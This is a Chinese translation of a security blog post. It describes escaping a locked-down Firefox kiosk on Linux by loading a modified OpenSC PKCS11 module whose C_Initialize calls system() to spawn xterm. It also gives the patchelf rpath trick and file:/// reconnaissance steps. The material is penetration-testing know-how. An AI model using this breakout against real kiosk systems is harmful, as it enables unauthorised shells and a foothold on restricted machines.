如何在受限环境中利用Firefox执行系统命令

原文:https://www.contextis.com/en/blog/escaping-from-mozilla-firefox-in-restricted-environments

0x00 概述

在受限软件环境中,用户应该只能执行有限的几种任务,此时系统通常会使用Kiosk应用程序来减少用户与系统交互的机会。在许多环境中,系统会根据用户实际需要,只将少数几种预置的应用程序提供给用户,如Web浏览器或POS软件等。

对于此类受限环境,攻击者通常会尝试寻找方法绕过已发布应用程序,以便在底层操作系统上执行命令。攻击者的最终目标通常是在系统上建立立足点,并可能危及与其相连的其他系统。攻击者可能造成各种后果,比如经济损失、敏感数据丢失等,具体取决于受攻击系统的用途。

在Windows中,攻击者有许多众所周知的方法来创建交互式shell,例如粘滞键(Sticky Keys)、“文件打开”对话框、在地址栏中输入命令、帮助菜单等。在Linux环境中,情况更加复杂,单单在浏览器地址栏中输入命令并不足以完成任务。

本文描述了一种攻击技术,通过在Mozilla Firefox中包含基于智能卡的身份验证(PKCS11)的自定义模块,攻击者可以在底层操作系统上执行代码。 本文重点分析的是Linux环境,但如果底层操作系统为Windows,我们也可以完成相同任务。

0x01 侦察踩点

在安全评估目标环境时,第一步是进行踩点,以尽可能多地探测目标系统相关环境。如果当前环境中唯一可用的应用程序是Firefox,会给我们的踩点过程带来非常大的麻烦,但这并非不可完成的任务。我们可以使用“文件打开”对话框来确定文件系统的结构。在某些情况下,文件打开/文件保存对话框可能处于锁定状态,避免用户显示目录或者显示文件。然而,Firefox允许任何用户使用file:协议处理程序来遍历文件系统。调用file:///后我们可以探测底层操作系统的根目录,如下图所示:

我们可以探测某些有趣的目录,比如/etc目录,该目录中可以帮助我们了解系统相关配置信息,或者可以探测/tmp目录,该目录全局可写,可以帮助我们将文件释放到目标系统上。我们不仅可以浏览目录,还可以浏览当前用户可读的文件,如/etc/os-release

收集有关操作系统的这些信息对于后续攻击过程来说非常重要。通过“帮助”菜单和“关于Firefox”对话框,我们发现正在运行的Firefox为32位进程。这个信息非常有用,因为攻击模块的架构必须与进程的架构相匹配。

0x02 使用自定义PKCS11模块突破限制

获得交互式shell的选项并不多,但Mozilla Firefox中的“Security Devices”功能可以允许我们加载本地存储的* .so* .dll文件。此功能主要用于配置基于智能卡的身份验证,例如,当Web服务器需要客户端证书时就需要使用该功能。该功能的具体实现基于PKCS11标准,该标准中还定义了与智能卡通信的API。

现在我们已经确定了进程架构和下载文件的位置,我们可以通过三个步骤来创建满足我们需求的一个PKCS11库,这个库可以生成一个shell,并且能够与Mozilla Firefox兼容:

1、寻找合适的PKCS11库;

2、修改并编译PKCS11库;

3、调整生成库文件的动态依赖。

寻找合适的PKCS11库

满足基本需求的一个模块就是开元的OpenSC中间件,具体源码可以在Github上找到:https://github.com/OpenSC/OpenSC。

能够与PKCS11 API通信的库需要实现以下函数:

C_Initialize()
C_GetInfo()
C_GetSlotList()
C_GetTokenInfo()
C_OpenSession()
C_GetMechanismList()

如果从头开始实现满足条件的模块将需要大量时间,但我们可以利用现有的OpenSC代码库来进行必要的定制。

修改并编译PKCS11库

为了理解代码执行过程,我们首先需要找到代码“入口点”。远吗中有个文件非常重要:src/pkcs11/pkcs11-global.c

CK_RV C_Initialize(CK_VOID_PTR pInitArgs)
{
    CK_RV rv;
#if !defined(_WIN32)
    pid_t current_pid = getpid();
#endif
    int rc;
    unsigned int i;
    sc_context_param_t ctx_opts;

如上代码片段表明浏览器加载PKCS11模块后会自动调用C_Initialize函数。,因此我们可以在这里添加一些额外的代码:

CK_RV C_Initialize(CK_VOID_PTR pInitArgs)
{
    int res = system("/usr/bin/xterm");
    printf("%d", res);
    CK_RV rv;
#if !defined(_WIN32)
    pid_t current_pid = getpid();
#endif
    int rc;
    unsigned int i;
    sc_context_param_t ctx_opts;

我们插入了一个system()调用,该命令可以调用外部应用程序,在本例中我们使用的外部程序为/usr/bin/xterm,以便获得交互式终端。请注意,代码中的system()调用会阻止Firefox进程的主线程,使其在xterm关闭之前处于无法响应状态。然而,对于概念证明场景来说,这种使用方式已经足够说明问题。

对于简单的概念验证场景,这种修改操作已经满足要求。我们现在需要针对32位架构来编译OpenSC项目,因为我们正在运行的目标Firefox实例为32位进程。编译项目后,Firefox可以打开的共享库名为opensc-pkcs11.so,具体路径位于src/pkcs11/.libs/中。在目标系统可访问的Web服务器上托管该文件后,我们需要将其下载到目标系统,比如我们可以使用浏览器的“将链接另存为”功能。首次将此文件加载到Firefox中时通常会失败,我们可以看到“模块加载失败”这种错误消息。这主要是因为当前环境缺少opensc-pkcs11.so所依赖的一些库,这意味着我们需要调整载荷对库的动态依赖。

调整动态依赖

为了找出当前缺少哪些库,我们可以使用ldd命令:

root@debian:~/OpenSC/src/pkcs11/.libs# ldd opensc-pkcs11.so 
    linux-gate.so.1 (0xb774b000)
    libopensc.so.6 => /root/OpenSC/src/libopensc/.libs/libopensc.so.6 (0xb75a4000)
    libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb758c000)
    libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb756d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb73b6000)
    /lib/ld-linux.so.2 (0xb774d000)

如上图所示,编译后的opensc-pkcs11.so模块依赖于名为libopensc.so.6的一个库,具体路径为/root/OpenSC/src/libopensc/.libs/libopensc.so.6。到目前为止,目标系统中只下载了opensc-pkcs11.so,并且这个库找不到libopensc.so.6,因此会出现错误情况。

我们可以使用patchelf工具来调整libopensc.so.6的加载位置。如果想要将搜索路径从/root/OpenSC/src/libopensc/.libs/更改为/tmp/,我们可以使用以下命令:

patchelf --set-rpath /tmp opensc-pkcs11.so

该命令可以将rpath更改为/tmp。要检查路径修改是否成功,我们可以再次调用ldd命令:

root@debian:~/OpenSC/src/pkcs11/.libs# ldd opensc-pkcs11.so 
    linux-gate.so.1 (0xb774b000)
    libopensc.so.6 => /tmp/libopensc.so.6 (0xb75a4000)
    libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb758c000)
    libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb756d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb73b6000)
    /lib/ld-linux.so.2 (0xb774d000)

修改共享对象后,所有攻击载荷已准备就绪。如果想要生成shell,需要执行以下操作:

1、将修改后的libopensc.so.6下载到/tmp/目录中;

2、将修改后的opensc-pkcs11.so下载到任意位置;

3、在Firefox中将opensc-pkcs11.so添加为安全设备。

指定共享对象的路径后,Firefox将加载PKCS11模块并执行代码:

如上图所示,xterm已成功运行。

0x03 总结

如果我们需要在目标环境中执行代码,并且该环境中Firefox是唯一一个Kiosk应用程序,那么就可以用到本文介绍的这种技术。

尽管这种方法需要提前创建能够执行自定义代码的一个共享对象,但这种方法具备跨平台特性,并且将目标库下载到待攻击的目标系统后,调用起来也非常容易。

0x04 参考资料

https://github.com/OpenSC/OpenSC
https://docs.oracle.com/cd/E19120-01/open.solaris/819-2145/6n4f2qhp8/index.html

源链接

Hacking more

...